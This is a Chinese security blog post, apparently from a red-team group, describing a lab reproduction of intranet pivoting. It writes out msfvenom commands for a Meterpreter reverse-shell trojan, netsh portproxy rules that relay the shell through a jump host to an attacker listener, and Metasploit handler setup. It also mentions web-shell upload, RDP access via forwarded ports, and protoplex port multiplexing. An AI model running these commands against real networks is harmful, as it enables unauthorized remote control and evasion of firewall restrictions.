内网端口转发以及端口复用

admin 2022年7月17日03:22:36评论39 views字数 2708阅读9分1秒阅读模式

内网端口转发以及端口复用

前言

前段时间在一次内网中遇到了一个问题,当时想了很多办法,虽然最终没能解决但是也学了很多东西。


内网端口转发以及端口复用

现在想想也是很愁。


情景再现

大致情况就是现在处于192的网段然后有一个172网段机器的mssql账号(可以执行命令和上传文件),并且172网段上的这台服务器只对192这台机器开放了1433端口,需要到172的网段。


内网端口转发以及端口复用


一张图简单明了。

端口复用

虽然最终没能解决问题,但是也是学到了不少方法来应对相似的情况。

1、netsh

netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具,可以查看或更改本地计算机或远程计算机的网络配置。

场景1

假如,就是说假如咱们这里放开一下限制规则 172的网段依然不出网,且只对192网段开放1433端口,但是172可以访问192的网段。那这样咱们可以通过172机器反向连接192机器然后在192机器做端口转发到攻击机器上的监听端口,这里在本地复现改了一下ip 如下图:


内网端口转发以及端口复用


以及修改目标机器的防火潜规则确保其他的端口无法被访问。


内网端口转发以及端口复用


使用msf生成反弹马,然后将木马上传到目标机器。

msfvenom -a x64 --platform windows  -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.10 LPORT=6767  -i 3 -f exe -o o.exe

然后我们在10.211.5.10这台机器通过netsh设置端口转发将6767转发到攻击机的监听端口。

netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129

内网端口转发以及端口复用


在攻击机上设置监听,然后在目标机器上执行木马。

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.49.129set lport 6767

攻击机器成功收到会话。


内网端口转发以及端口复用


场景2

在场景1中我们的目标机器可以随意访问我们跳板机5.10的任意端口,假如我们这边开始增加限制目标机器不能随意访问跳板机器的端口,只能访问指定端口比如:80、445、1433、1521、3306、3389、6379、8080,这其中的一个或者多个端口,如下图。


内网端口转发以及端口复用


和上面一样通过ms生成反向连接马以及上传到目标服务器,设置连接端口为80.

msfvenom -a x64 --platform windows  -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.10 LPORT=80  -i 3 -f exe -o o.exe

这里为了严谨依然通过防火墙设置端口限制,80可以访问到,其他端口均不能访问。


内网端口转发以及端口复用


然后通过netsh设置端口转发。

netsh interface portproxy add v4tov4 listenport=80 connectport=6767 connectaddress=192.168.49.129

内网端口转发以及端口复用


然后在目标机器上执行木马,我们通过端口连接可以看到目标机器与跳板机的80端口进行了连接且跳板机也收到连接,但是跳板机的80端口并没有转发到攻击机的监听端口,如下图。


内网端口转发以及端口复用


我们攻击机也同样没有收到回话。
继续测试3306端口(只对目标机器开放3306,其他端口均禁止),步骤同上我们这边直接跳过重复步骤,直接到执行木马,然后我们可以发现msf成功的接受到了会话,如下图。


内网端口转发以及端口复用


端口正常转发。


内网端口转发以及端口复用


经过测试发现3306和8080可以正常的进行转发80、445、1433、3389、6379等不可转发猜测下是windows自带的一些服务可能都不支持这种情况。

场景3

我们继续增加限制条件在场景2中我们的目标机器可以访问我们跳板机5.10的个别端口,假如我们这边开始增加限制目标机器不能访问跳板机器的端口,但是我们也不是只能访问目标机器的1433,我们这次增加一个别的端口80或者3306等,如下图。


内网端口转发以及端口复用


我们先讨论80端口的情况,这个就比较简单直接看是什么web服务然后上传对应的shell连接就可以了(Neo-reGeorg)。
然后是3306,我们依然可以通过netsh进行端口转发列出一个最简单的方式就是将目标机器上的3306端口转发到3389端口上。

netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5

内网端口转发以及端口复用


然后我们可以读密码或者加用户,再通过跳板机去连接远程桌面这里直接连接3306端口。


内网端口转发以及端口复用


经过测试这种情况下有很多端口是不可以这样转发的就比如iis开放的80端口,已经mssql的1433端口,但是像3306、8080这种端口是可以被转发的,所以实际不同情况需要多尝试(这里实验时差点把自己绕进去)。

2、工具

protoplex

这是一个协议复用的工具,比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口,这里我做了一下实验,发现该工具的监听端口不能被占用也不能是3306、1433、3389这种的特殊端口。
他可以监听10.211.55.5:4444,如果是socks5协议的流量就将流量转发给10.211.55.5:9999,如果是http流量,就将流量转发给10.211.55.5:80

protoplex_windows_amd64.exe --socks5 10.211.55.5:9999 --http 10.211.55.5:80 -b 10.211.55.5:4444


内网端口转发以及端口复用


其他机器访问


内网端口转发以及端口复用


socks5测试不理想,最终也是没能解决这个问题。


内网端口转发以及端口复用


期待找到解决办法。


E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

内网端口转发以及端口复用

原文始发于微信公众号(Tide安全团队):内网--端口转发以及端口复用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月17日03:22:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网端口转发以及端口复用https://cn-sec.com/archives/1180303.html

发表评论

匿名网友 填写信息